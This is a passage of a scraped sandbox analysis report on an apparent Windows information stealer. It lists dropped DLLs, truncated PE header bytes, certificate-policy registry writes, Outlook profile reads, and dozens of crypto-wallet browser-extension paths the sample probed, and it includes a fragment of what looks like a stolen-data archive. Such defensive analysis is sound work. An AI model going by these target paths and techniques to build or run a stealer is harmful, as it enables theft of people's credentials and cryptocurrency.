Zp3+z7nfQk2hP02hhgezkapt1lP1NSUHzzgWiN3MJEr+tm3PJ2zOVlxlMHBh1lxg9E79e6WNfsdm+xm8vC5jQmNs1S2Ty9z/Lnm6ocDzZO+kckBXJE3djcSF3seGbqL7pHrnLm9LaWCkJBj1f3oluUa031qNyVsPe0m3lzkS5ATvcExe3QAY0fhv+azzcnvUPcOgHO2CPgg/7/9923+4dyj4d+YCwHOPZLZF5eTQPllnV6m0rm1SCIcY2PCTIFLlf/+u+aeU6H1H3MS9x0X99MKzw1ZBbikQ1PXhiV+2he40/2JlwTVQe3IyyfXqy5G8r97IyJ3f/OrnQHCEobhG9R7G91eytdmtAoh/gtHm6kv4gby5gXvl4YUhghz+u+JOhCiqBTpxvzAK6txB4l8THP7K4Wc0ixCBe9TZ7nq/J6a0G9HWcjXPCM27ZeYZO+KXZPokvolUSp/MzJsKwduqc6c17TyU+3crt9QJfxzeo+Lt9P4bMZ0M1nFgNV7GfEAfkZLehl5zut81PQ6YfQs0MZz/Len6G9vXRdb7v6/AFBLAQIXCxQAAgAIANQJYVYC418F+wQAAMMHAAAtAAkAAAAAAAAAAAAAgAAAAAAvSGlzdG9yeS9Nb3ppbGxhIEZpcmVmb3hfZzRoN21pcXQuZGVmYXVsdC50eHRVVAUAB/Km/mNQSwECFwsUAAIACADaCWFWvZGknrcAAABoAQAADAAJAAAAAAAAAAAAAIBXBQAAL291dGxvb2sudHh0VVQFAAf1pv5jUEsBAhcLFAACAAgA9AlhVlbgmJGdAwAA+gYAABAACQAAAAAAAAAAAACASQYAAC9pbmZvcm1hdGlvbi50eHRVVAUABx6n/mNQSwECFwsUAAAAAAD0CWFWx3ZfDzIJAAAyCQAAEgAJAAAAAAAAAAAAAIAlCgAAL0ZpbGVzL0RlZmF1bHQuemlwVVQFAAcep/5jUEsBAhcLFAAAAAAA9AlhVg7Fy9cWAAAAFgAAABIACQAAAAAAAAAAAACAmBMAAC9GaWxlcy9kZXNrdG9wLnppcFVUBQAHHqf+Y1BLAQIXCxQAAgAIAPQJYVZonIo68mwAAGKGAAAPAAkAAAAAAAAAAAAAgO8TAAAvc2NyZWVuc2hvdC5qcGdVVAUABx6n/mNQSwUGAAAAAAYABgDGAQAAH4EAAAAA ------5166713717941199--"32:T507,"90209471126936899486.exe" has type "PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows"- Location: [%ALLUSERSPROFILE%\90209471126936899486.exe]- [targetUID: 00000000-00003148] "freebl3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\freebl3.dll]- [targetUID: 00000000-00003148] "nss3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\nss3.dll]- [targetUID: 00000000-00003148] "mozglue.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\mozglue.dll]- [targetUID: 00000000-00003148] "msvcp140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%WINDIR%\System32\msvcp140.dll]- [targetUID: 00000000-00003148] "asfdafdsafds_1_.exe" has type "PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows"- [targetUID: 00000000-00002600] "vcruntime140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%WINDIR%\System32\vcruntime140.dll]- [targetUID: 00000000-00003148] "softokn3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\softokn3.dll]- [targetUID: 00000000-00003148]33:Tbe6,"AppLaunch.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\mozglue.dll": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010700 ... "AppLaunch.exe" wrote 1024 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\asfdafdsafds[1].exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "AppLaunch.exe" wrote 1024 bytes starting with PE header signature to file "C:\ProgramData\90209471126936899486.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "AppLaunch.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\vcruntime140.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "AppLaunch.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\softokn3.dll": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "AppLaunch.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\nss3.dll": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "AppLaunch.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\msvcp140.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "AppLaunch.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\freebl3.dll": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ...34:T92d,"AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "AppLaunch.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS")35:Tcb6,"AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000004") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000003") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000002") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS MESSAGING SUBSYSTEM\PROFILES\9375CFF0413111D3B88A00104B2A6676\00000001") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\13.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") "AppLaunch.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000004")36:T2463,AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC\CURRENT related to TronLink AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN\CURRENT related to MetaMask AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP\CURRENT related to Binance Chain Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB\CURRENT related to Yoroi AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\JBDAOCNEIIINMJBJLGALHCELGBEJMNID\CURRENT related to Nifty Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD\CURRENT related to Coinbase Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\INDEXEDDB\CHROME-EXTENSION_HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD_0.INDEXEDDB.LEVELDB\CURRENT related to Coinbase Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN\CURRENT related to Guarda AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\INDEXEDDB\CHROME-EXTENSION_HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN_0.INDEXEDDB.LEVELDB\CURRENT related to Guarda AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\INDEXEDDB\CHROME-EXTENSION_CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE_0.INDEXEDDB.LEVELDB\CURRENT related to Jaxx Liberty AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ\CURRENT related to iWallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\SYNC EXTENSION SETTINGS\NLBMNNIJCNLEGKJJPCFJCLMCFGGFEFDM\CURRENT related to MEW CX AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\FNJHMKHHMKBJKKABNDCNNOGAGOGBNEEC\CURRENT related to Ronin Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\CPHHLGMGAMEODNHKJDMKPANLELNLOHAO\CURRENT related to NeoLine AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\NHNKBKGJIKGCIGADOMKPHALANNDCAPJK\CURRENT related to Clover Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\KPFOPKELMAPCOIPEMFENDMDCGHNEGIMN\CURRENT related to Liquality Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\AIIFBNBFOBPMEEKIPHEEIJIMDPNLPGPP\CURRENT related to Terra Station AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\DMKAMCKNOGKGCDFHHBDDCGHACHKEJEAP\CURRENT related to Keplr AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\FHMFENDGDOCMCBMFIKDCOGOFPHIMNKNO\CURRENT related to Sollet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\CNMAMAACHPPNKJGNILDPDMKAAKEJNHAE\CURRENT related to Auro Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\JOJHFEOEDKPKGLBFIMDFABPDFJAOOLAF\CURRENT related to Polymesh Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\FLPICIILEMGHBMFALICAJOOLHKKENFEL\CURRENT related to ICONex AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG\CURRENT related to Coin98 Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\DKDEDLPGDMMKKFJABFFEGANIEAMFKLKM\CURRENT related to Cyano Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\HCFLPINCPPPDCLINEALMANDIJCMNKBGN\CURRENT related to KHC AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\MNFIFEFKAJGOFKCJKEMIDIAECOCNKJEH\CURRENT related to TezBox AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC\CURRENT related to TronLink AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN\CURRENT related to MetaMask AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP\CURRENT related to Binance Chain Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB\CURRENT related to Yoroi AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\INDEXEDDB\CHROME-EXTENSION_HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD_0.INDEXEDDB.LEVELDB\CURRENT related to Coinbase Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN\CURRENT related to Guarda AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\INDEXEDDB\CHROME-EXTENSION_HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN_0.INDEXEDDB.LEVELDB\CURRENT related to Guarda AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\INDEXEDDB\CHROME-EXTENSION_CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE_0.INDEXEDDB.LEVELDB\CURRENT related to Jaxx Liberty AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\KPFOPKELMAPCOIPEMFENDMDCGHNEGIMN\CURRENT related to Liquality Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\DKDEDLPGDMMKKFJABFFEGANIEAMFKLKM\CURRENT related to Cyano Wallet AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\HCFLPINCPPPDCLINEALMANDIJCMNKBGN\CURRENT related to KHC AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\MNFIFEFKAJGOFKCJKEMIDIAECOCNKJEH\CURRENT related to TezBox AppLaunch.exe trying to open a file C:\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA GX STABLE\LOCAL EXTENSION SETTINGS\OOKJLBKIIJINHPMNJFFCOFJONBFBGAOC\CURRENT related to Temple AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC\CURRENT related to TronLink AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN\CURRENT related to MetaMask AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP\CURRENT related to Binance Chain Wallet AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB\CURRENT related to Yoroi AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\JBDAOCNEIIINMJBJLGALHCELGBEJMNID\CURRENT related to Nifty Wallet AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD\CURRENT related to Coinbase Wallet AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\INDEXEDDB\CHROME-EXTENSION_HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD_0.INDEXEDDB.LEVELDB\CURRENT related to Coinbase Wallet AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN\CURRENT related to Guarda AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\INDEXEDDB\CHROME-EXTENSION_HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN_0.INDEXEDDB.LEVELDB\CURRENT related to Guarda AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\INDEXEDDB\CHROME-EXTENSION_CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE_0.INDEXEDDB.LEVELDB\CURRENT related to Jaxx Liberty AppLaunch.exe trying to open a file %APPDATA%\OPERA SOFTWARE\OPERA STABLE\LOCAL EXTENSION SETTINGS\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ\CURRENT related to iWallet37:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790604528678,"unified_at":"2026-09-28T14:08:48.678Z","metadata":{"hashes":{"sha256":"b5